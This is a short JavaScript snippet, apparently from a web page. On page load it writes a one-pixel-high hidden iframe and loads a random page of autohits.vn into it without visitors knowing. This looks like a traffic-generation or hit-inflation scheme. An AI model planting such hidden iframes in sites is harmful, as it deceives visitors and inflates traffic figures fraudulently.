var ie=document.all&&navigator.userAgent.indexOf("Opera")==-1
var dom=document.getElementById&&navigator.userAgent.indexOf("Opera")==-1

//Specify IFRAME display attributes
var iframeprops='width="600" height="1" marginwidth="0" marginheight="0" hspace="0" vspace="0" frameborder="0" scrolling="no"'

//Specify random URLs to display inside iframe
var randomcontent=new Array()
randomcontent[0]="http://www.autohits.vn/?_w=agreement"
randomcontent[1]="http://www.autohits.vn/?_w=privacy"
randomcontent[2]="http://www.autohits.vn/?_w=help"
randomcontent[3]="http://www.autohits.vn/?_w=signup"
randomcontent[4]="http://www.autohits.vn/?_w=login"
randomcontent[5]="http://www.autohits.vn"


//No need to edit after here
if (ie||dom)
document.write('<iframe id="dynstuff" src="" '+iframeprops+'></iframe>')

function random_iframe(){
if (ie||dom){
var iframeobj=document.getElementById? document.getElementById("dynstuff") : document.all.dynstuff
iframeobj.src=randomcontent[Math.floor(Math.random()*randomcontent.length)]
}
}

window.onload=random_iframe